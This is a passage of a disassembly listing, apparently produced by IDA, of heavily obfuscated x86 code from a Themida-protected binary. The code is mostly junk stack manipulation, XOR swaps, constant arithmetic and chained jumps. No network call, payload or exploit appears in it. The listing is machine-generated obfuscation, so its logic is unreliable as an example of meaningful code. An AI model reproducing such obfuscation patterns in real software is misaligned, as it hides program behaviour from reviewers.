; ---------------------------------------------------------------------------


loc_5A2124:				; CODE XREF: Themida_:0059D4A1j
		pop	ebx
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_598837
; ---------------------------------------------------------------------------


loc_5A213D:				; CODE XREF: Themida_:005951D9j
		push	ebx
		pop	eax
		pop	ebx
		jmp	loc_59F71C
; ---------------------------------------------------------------------------


loc_5A2145:				; CODE XREF: Themida_:0059FE01j
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5A215E:				; CODE XREF: Themida_:0059F998j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_59A43F
; ---------------------------------------------------------------------------


loc_5A2172:				; CODE XREF: Themida_:005A18C9j
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_590A9B

; =============== S U B	R O U T	I N E =======================================



sub_5A2196	proc near		; CODE XREF: sub_59390B+7338j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00596AC1 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059ACB3 SIZE 0000002B BYTES

		push	ebx
		jmp	loc_596AC1
sub_5A2196	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A219C:				; CODE XREF: sub_59390B-FD8j
		xor	eax, [esp-10h+arg_8]
		xor	[esp-10h+arg_8], eax
		xor	eax, [esp-10h+arg_8]
		mov	esp, [esp-10h+arg_8]
		mov	word ptr [esp-10h+arg_8], cx
		jmp	loc_5930E3
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5971C0


loc_5A21B1:				; CODE XREF: sub_5971C0+CC6Bj
		push	eax
		jmp	loc_59BFEF
; END OF FUNCTION CHUNK	FOR sub_5971C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592A27


loc_5A21B7:				; CODE XREF: sub_592A27+92EEj
		push	1DD7h
		jmp	loc_594016
; END OF FUNCTION CHUNK	FOR sub_592A27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A21C1:				; CODE XREF: sub_59390B-177Aj
		sub	edi, 2F071853h
		sub	edi, 6D1C5526h
		pop	esi
		jmp	loc_59D745
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59338E


loc_5A21D3:				; CODE XREF: sub_59338E+6949j
		mov	esp, [esp+0]
		push	[esp-4+arg_0]
		jmp	loc_5A1268
; END OF FUNCTION CHUNK	FOR sub_59338E

; =============== S U B	R O U T	I N E =======================================



sub_5A21DE	proc near		; CODE XREF: sub_5947CA-32DBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005915CA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059712E SIZE 0000003A BYTES
; FUNCTION CHUNK AT 005987CA SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059995F SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059BF44 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0059D014 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A15D4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A2FD0 SIZE 0000000F BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		xchg	eax, [esp+0]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		push	0E3Eh
		jmp	loc_59BF44
sub_5A21DE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A220F:				; CODE XREF: sub_59390B+4322j
		pop	eax
		sub	bl, cl
		mov	ecx, [esp-28h+arg_20]
		add	esp, 4
		sub	esp, 2
		jmp	loc_59F1FD
; ---------------------------------------------------------------------------


loc_5A2226:				; CODE XREF: sub_59390B+9358j
		pop	esp
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_5A2DBF
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A2232:				; CODE XREF: Themida_:005A5485j
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		jmp	loc_5A3C23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A113A


loc_5A224C:				; CODE XREF: sub_5A113A-4FFBj
		add	ebx, ebp
		mov	ebp, [esp+0Ch+var_C]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp+14h+var_14], esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		xchg	edx, [esp+10h+var_10]
		pop	esp
		push	ebx
		push	[esp+10h+var_C]
		mov	ebx, [esp+14h+var_14]
		push	edx
		push	esp
		mov	edx, [esp+1Ch+var_1C]
		jmp	loc_59F811
; END OF FUNCTION CHUNK	FOR sub_5A113A
; ---------------------------------------------------------------------------


loc_5A227E:				; CODE XREF: Themida_:0059AF1Ej
		push	1896h
		mov	[esp], ebp
		push	2CCh
		mov	[esp], esp
		push	2BF7h
		jmp	loc_59EF4C
; ---------------------------------------------------------------------------


loc_5A2298:				; CODE XREF: Themida_:00597EC6j
		add	esp, 4
		push	edx
		push	410Bh
		mov	[esp], ebx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	ebx
		xor	edx, 5F5D1812h
		sub	eax, 196B104Eh
		add	eax, edx
		add	eax, 196B104Eh
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59235E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A22D8:				; CODE XREF: sub_59390B+6D8Dj
		mov	eax, [esp+0Ch+var_C]
		push	2715h
		jmp	loc_5A3379
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2AF


loc_5A22E5:				; CODE XREF: sub_59B2AF+17j
		xchg	eax, [esp+8+var_8]
		jmp	loc_5A2823
; END OF FUNCTION CHUNK	FOR sub_59B2AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_5A22ED:				; CODE XREF: sub_59A431+2759j
		add	esi, ecx
		sub	esi, 29DF605Ah
		push	[esp+0Ch+var_C]
		pop	ecx
		add	esp, 4
		push	esi
		push	[esp+0Ch+var_8]
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_591465
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------


loc_5A2312:				; CODE XREF: Themida_:00592835j
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2DC2447Dh
		and	edx, 5CC93379h
		neg	edx
		and	edx, 79BF4DCCh
		sub	edx, 713F4D80h
		add	esi, edx
		pop	edx
		push	ebp
		jmp	loc_596E85
; ---------------------------------------------------------------------------


loc_5A234B:				; CODE XREF: Themida_:00598996j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59BE6B
; ---------------------------------------------------------------------------


loc_5A2359:				; CODE XREF: Themida_:0059C6D4j
		mov	[esp], edi
		jmp	loc_599A6D
; ---------------------------------------------------------------------------


loc_5A2361:				; CODE XREF: Themida_:0059F666j
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2366:				; CODE XREF: sub_59390B-2442j
		add	esi, eax
		pop	eax
		mov	edx, [esp-0Ch+arg_4]
		add	esp, 4
		jmp	loc_59DEEA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A2374:				; CODE XREF: Themida_:0059E55Aj
		mov	ecx, 64E67391h
		push	ebx
		mov	ebx, 2C8665ECh
		xor	ebx, 5BAD6381h
		sub	ebx, 60A1C955h
		jmp	loc_594FF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2390:				; CODE XREF: sub_59390B+10E21j
		shr	ebx, 7
		sub	ebx, 3D604A6Ch
		inc	ebx
		inc	ebx
		jmp	loc_592938
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A23A0:				; CODE XREF: Themida_:0059F28Fj
		inc	eax
		xor	eax, 57E11083h
		or	eax, 342C040Fh
		jmp	loc_59A3C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A23B0:				; CODE XREF: sub_59390B+11243j
		xor	esi, 2D9B53C6h
		sub	esp, 4
		mov	[esp-0Ch+arg_4], ebx
		mov	ebx, 78130FABh
		jmp	loc_59FF3E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A23C9:				; CODE XREF: Themida_:00596C90j
		dec	ecx
		jmp	loc_59B9F4
; ---------------------------------------------------------------------------


loc_5A23CF:				; CODE XREF: Themida_:00592359j
		push	eax
		push	57937CE1h
		pop	eax
		add	eax, 0BC26C918h
		mov	edx, eax
		jmp	loc_59328B
; ---------------------------------------------------------------------------


loc_5A23E2:				; CODE XREF: Themida_:0059BB21j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	355Fh
		jmp	loc_592FE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_5A23F4:				; CODE XREF: sub_59FCCB-2F38j
		pop	cx
		jmp	loc_5A3337
; END OF FUNCTION CHUNK	FOR sub_59FCCB

; =============== S U B	R O U T	I N E =======================================



sub_5A23FB	proc near		; CODE XREF: sub_59390B-2CC1j

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00592B5C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005931C6 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059718D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597B7A SIZE 0000003F BYTES
; FUNCTION CHUNK AT 00597F94 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00599B5D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059A41F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059A656 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059CAE4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059D25A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D8A8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059E8F8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A1671 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A2446 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A4325 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 005A508A SIZE 0000001E BYTES

		sub	esp, 4
		mov	[esp-0Ch+arg_8], ebx
		mov	ebx, 493C6FD8h
		push	ebp
		jmp	loc_59A41F
sub_5A23FB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A240F:				; CODE XREF: sub_59390B+88DBj
		shl	dl, 5
		dec	dl
		not	dl
		neg	dl
		shr	dl, 5
		shl	dl, 2
		push	ecx
		mov	ch, 98h
		push	ebx
		mov	bh, 99h
		add	ch, bh
		pop	ebx
		jmp	loc_59B957
; ---------------------------------------------------------------------------


loc_5A242C:				; CODE XREF: sub_59390B+1A03j
		xor	ebx, esi
		pop	esi
		jmp	loc_59292F
; ---------------------------------------------------------------------------


loc_5A2434:				; CODE XREF: sub_59390B+7ADj
		mov	eax, edx
		jmp	loc_59560F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A243B:				; CODE XREF: Themida_:005A11E6j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59FDE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A23FB


loc_5A2446:				; CODE XREF: sub_5A23FB-A44Dj
		add	eax, 23D70941h
		pop	ebp
		jmp	loc_59E8F8
; END OF FUNCTION CHUNK	FOR sub_5A23FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_5A2451:				; CODE XREF: sub_59CAFB+5C82j
		push	4
		jmp	loc_5A1132
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------


loc_5A245B:				; CODE XREF: Themida_:0059F89Bj
		mov	[esp], edi
		mov	edi, 818FD0Bh
		add	ebx, edi
		pop	edi
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	[edi+20h], ecx
		pop	ecx
		neg	dword ptr [edi+20h]
		push	eax
		mov	eax, 20h
		add	eax, edi
		jmp	loc_5A304E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_5A2482:				; CODE XREF: sub_591FC5+11049j
		push	eax
		mov	ah, 4Ch
		jmp	loc_5A0ADB
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------


loc_5A248A:				; CODE XREF: Themida_:005A144Dj
		push	ebx
		mov	ebx, 15553629h
		jmp	loc_59F570
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594DA8


loc_5A2495:				; CODE XREF: sub_594DA8+9491j
		push	[esp+8+var_8]
		mov	ebx, [esp+0Ch+var_C]
		jmp	loc_59C42A
; END OF FUNCTION CHUNK	FOR sub_594DA8
; ---------------------------------------------------------------------------


loc_5A24A0:				; CODE XREF: Themida_:005A492Aj
		pop	esp
		mov	[esp], cx
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_5A24AA:				; CODE XREF: sub_59A75E+1FACj
		inc	eax
		xor	eax, 73F1479h
		add	ecx, eax
		pop	eax
		add	ecx, 2
		xchg	ecx, [esp+2+var_4+2]
		jmp	loc_59BA28
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------


loc_5A24BE:				; CODE XREF: Themida_:0059B8C2j
		push	274C2A90h
		pop	ecx
		xor	ecx, 274C2A92h
		mov	ebx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 62191457h
		add	ebx, 1CC31B1Bh
		jmp	loc_59B2EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A09BC


loc_5A24DE:				; CODE XREF: sub_5A09BC-B3C7j
		mov	eax, ebp
		pop	ebp
		shr	eax, 4
		or	eax, 2E175DF8h
		neg	eax
		inc	eax
		add	eax, 52AB6761h
		jmp	loc_598CAB
; END OF FUNCTION CHUNK	FOR sub_5A09BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A24F6:				; CODE XREF: sub_59390B+F545j
		pop	ecx
		jmp	loc_5A14EF
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3EFB


loc_5A24FC:				; CODE XREF: sub_5A3EFB-ADF7j
		shl	ebx, 5
		xor	ebx, 65E91ACCh
		add	ebx, 20346351h
		add	ecx, ebx
		pop	ebx
		mov	ebp, ecx
		pop	ecx
		push	ebp
		not	dword ptr [esp+0]
		push	dword ptr [esp+0]
		pop	ebp
		add	esp, 4
		jmp	loc_593900
; END OF FUNCTION CHUNK	FOR sub_5A3EFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2524:				; CODE XREF: sub_59390B+9C25j
		pop	esp
		push	esi
		push	0
		pop	esi
		sub	esi, edi
		xchg	esi, edi
		pop	esi
		or	edi, 5E13512Ah
		dec	edi
		sub	edi, 1
		push	6177h
		mov	[esp-14h+arg_C], eax
		mov	eax, 9350FAD4h
		add	edi, eax
		mov	eax, [esp-14h+arg_C]
		jmp	loc_5A4C8E
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5A2552	proc near		; CODE XREF: sub_59390B+618Fj

; FUNCTION CHUNK AT 0059380C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005978A8 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00599E8C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059D390 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059F00B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A59CC SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 1F110948h
		shl	edi, 8
		jmp	loc_5978A8
sub_5A2552	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_5A2569:				; CODE XREF: sub_59A4D6-3BA1j
		sub	ebx, 557275EEh
		add	ebx, esi
		jmp	loc_599639
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------


loc_5A2576:				; CODE XREF: Themida_:0059261Aj
		pop	edx
		add	ebx, 4CD82756h
		jmp	loc_5A0120
; ---------------------------------------------------------------------------


loc_5A2582:				; CODE XREF: Themida_:005912B6j
		pop	ecx
		add	ebx, eax
		add	ebx, 14BF68F9h
		sub	ebx, 478D574Fh
		push	edi
		mov	edi, 61DC0069h
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A55A5
; ---------------------------------------------------------------------------


loc_5A25A7:				; CODE XREF: Themida_:005996B1j
		push	6275h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		jmp	loc_59D20D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59918B


loc_5A25BF:				; CODE XREF: sub_59918B+ACEFj
		push	esp
		jmp	loc_59986B
; END OF FUNCTION CHUNK	FOR sub_59918B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A25C5:				; CODE XREF: sub_59390B+5C6Fj
		mov	edx, [esp-10h+arg_8]
		add	esp, 4
		or	eax, eax
		jz	sub_59CAFB
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	[esp-0Ch+arg_8]
		push	[esp-8+arg_0]
		mov	ebx, [esp+0]
		sub	esp, 4
		mov	[esp+0], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59971C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_5A2606:				; CODE XREF: sub_59E918-9E04j
		xor	dl, 6Bh
		mov	ch, dl
		pop	edx
		push	bx
		jmp	loc_596032
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------


loc_5A2613:				; CODE XREF: Themida_:005A3EC5j
		mov	esi, 1080305h
		sub	ecx, esi
		pop	esi
		jmp	loc_595F0C
; ---------------------------------------------------------------------------


loc_5A2620:				; CODE XREF: Themida_:0059E325j
		push	2528h
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_593587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2640:				; CODE XREF: sub_59390B+9D84j
		pop	ebx
		sub	esp, 4
		mov	[esp+14h+var_14], ecx
		mov	ecx, 1B284431h
		sub	ecx, 64C9107Bh
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	edi
		push	[esp+1Ch+var_18]
		pop	edi
		pop	dword ptr [esp+0]
		pop	esp
		mov	[esp+14h+var_14], ebx
		push	eax
		mov	eax, 6DE0CFBh
		jmp	loc_59D0BA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A2676:				; CODE XREF: Themida_:005998B7j
		pop	edx
		xor	eax, edi
		pop	edi
		jmp	loc_597BEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A267F:				; CODE XREF: sub_59390B+FF3j
		pop	ecx
		add	esi, 290B45C9h
		add	esi, edi
		sub	esi, 290B45C9h
		mov	edi, [esp+4+var_4]
		add	esp, 4
		push	eax
		push	4
		pop	eax
		add	esi, eax
		mov	eax, [esp+4+var_4]
		add	esp, 4
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		jmp	loc_5A4077
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A26B4:				; CODE XREF: Themida_:005A2B0Bj
		push	dword ptr [esp]
		jmp	loc_59DC74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_5A26BC:				; CODE XREF: sub_599AE1+4311j
		add	edx, 2BEA67A4h
		push	[esp+1Ch+var_1C]
		pop	esi
		add	esp, 4
		push	867h
		mov	[esp+1Ch+var_1C], edx
		add	[esp+1Ch+var_1C], 51F87C07h
		pop	eax
		sub	eax, 51F87C07h
		push	[esp+18h+var_18]
		jmp	loc_5A3C18
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------


loc_5A26E9:				; CODE XREF: Themida_:005A3B5Dj
		xor	eax, 24C966DFh
		xor	eax, 16434474h
		jmp	loc_592790
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59667F


loc_5A26F8:				; CODE XREF: sub_59667F+9j
		mov	dl, 6Ah
		push	ebx
		mov	bl, dl
		jmp	loc_5A0CC2
; END OF FUNCTION CHUNK	FOR sub_59667F
; ---------------------------------------------------------------------------


loc_5A2702:				; CODE XREF: Themida_:005A2975j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	78F9h
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_5934E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594E5F


loc_5A271D:				; CODE XREF: sub_594E5F+14j
		or	ebx, 242654D1h
		dec	ebx
		sub	ebx, 7DD06695h
		xor	ebp, ebx
		pop	ebx
		mov	edx, ebp
		pop	ebp
		sub	edx, edi
		pop	edi
		and	eax, edx
		push	[esp-8+arg_4]
		push	[esp-4+arg_0]
		pop	edx
		jmp	sub_595941
; END OF FUNCTION CHUNK	FOR sub_594E5F
; ---------------------------------------------------------------------------


loc_5A2741:				; CODE XREF: Themida_:005A4FC6j
		mov	edx, esp
		jmp	loc_599E47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_5A2748:				; CODE XREF: sub_59CAFB+4AF1j
		mov	ecx, [esp+8+var_8]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		xchg	ebx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		push	783Eh
		mov	[esp+0], eax
		push	esp
		pop	eax
		push	4B0h
		mov	[esp+4+var_4], ebp
		jmp	loc_5A2451
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2782:				; CODE XREF: sub_59390B+C9ABj
		shl	edi, 7
		dec	edi
		and	edi, 3DCC0215h
		dec	edi
		add	edi, 0C373FDEBh
		sub	esi, edi
		pop	edi
		sub	esi, 0FFFFFFFFh
		jmp	loc_59965C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A279E:				; CODE XREF: Themida_:00590B88j
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5A340E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_5A27B9:				; CODE XREF: sub_59A4D6+5C0Cj
		mov	eax, [esp+4+var_4]
		add	esp, 4
		add	eax, 4
		sub	esp, 4
		jmp	loc_5A43CD
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------


loc_5A27CC:				; DATA XREF: Themida_:005907ECo
		mov	cx, [esp]
		push	501h
		mov	[esp], esi
		jmp	loc_59EBD4
; ---------------------------------------------------------------------------


loc_5A27DD:				; CODE XREF: Themida_:0059359Fj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		push	708Ch
		mov	[esp], edx
		push	5AD06E5Fh
		jmp	loc_598B58

; =============== S U B	R O U T	I N E =======================================



sub_5A2801	proc near		; DATA XREF: Themida_:00590A18o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00592667 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005985B7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00599714 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059BEE0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059CF3E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A289B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A34A9 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A4E42 SIZE 00000018 BYTES

		mov	ax, [esp+0]
		jmp	loc_5A289B
sub_5A2801	endp

; ---------------------------------------------------------------------------


loc_5A280A:				; CODE XREF: Themida_:005A458Fj
		mov	[esp], eax
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5A2812:				; CODE XREF: Themida_:005A2CF5j
		shl	eax, 1
		neg	eax
		add	eax, 1
		xor	eax, 5702E3FDh
		jmp	loc_59314F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2AF


loc_5A2823:				; CODE XREF: sub_59B2AF+7039j
		pop	esp
		mov	[esp+4+var_4], esp
		jmp	loc_590FEA
; END OF FUNCTION CHUNK	FOR sub_59B2AF
; ---------------------------------------------------------------------------


loc_5A282C:				; CODE XREF: Themida_:00591C12j
		mov	edi, 75C175B6h
		neg	edi
		push	790Eh
		mov	[esp], edx
		push	esi
		push	ebx
		push	60C04319h
		jmp	loc_59B390
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_5A2847:				; CODE XREF: sub_595BAD+A883j
		push	edi
		push	[esp+0Ch+var_C]
		push	[esp+10h+var_10]
		pop	eax
		push	eax
		mov	eax, esp
		push	ebp
		jmp	loc_59413F
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2858:				; CODE XREF: sub_59390B+E4AEj
		xor	[esp+0], esi
		xor	esi, [esp+0]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp+0]
		pop	eax
		sub	esp, 4
		mov	[esp+0], edi
		push	esp
		mov	edi, [esp+2+var_4+2]
		push	edx
		jmp	loc_59A294
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_5A2876:				; CODE XREF: sub_59A431-4E93j
		pop	edx
		sub	ebp, edx
		sub	ebp, 7C9F2D41h
		pop	edx
		push	ebp
		jmp	loc_5A2F9A
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------


loc_5A2886:				; CODE XREF: Themida_:0059A69Fj
		mov	ecx, [esp]
		push	eax
		jmp	loc_5A399F
; ---------------------------------------------------------------------------
		lodsd
		push	ebp
		mov	ebp, 4471BF4h
		jmp	loc_59CC39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2801


loc_5A289B:				; CODE XREF: sub_5A2801+4j
		push	3604h
		mov	[esp+4+var_4], edi
		push	ebx
		mov	ebx, esp
		push	1529h
		jmp	loc_5A34A9
; END OF FUNCTION CHUNK	FOR sub_5A2801
; ---------------------------------------------------------------------------


loc_5A28B0:				; CODE XREF: Themida_:0059C7C4j
		mov	edx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		or	edx, 1CBF6007h
		push	edx
		jmp	loc_59BBCE
; ---------------------------------------------------------------------------


loc_5A28CA:				; CODE XREF: Themida_:0059165Cj
		sub	eax, ecx
		sub	eax, 326C40F9h
		pop	ecx
		xor	eax, 2CC8B586h
		sub	ebx, eax
		pop	eax
		add	edi, ebx
		pop	ebx
		pop	ebp
		jmp	loc_5A402D
; ---------------------------------------------------------------------------


loc_5A28E3:				; CODE XREF: Themida_:0059ABF8j
		sub	ebp, 2B7098F8h
		jmp	loc_5A49D7
; ---------------------------------------------------------------------------
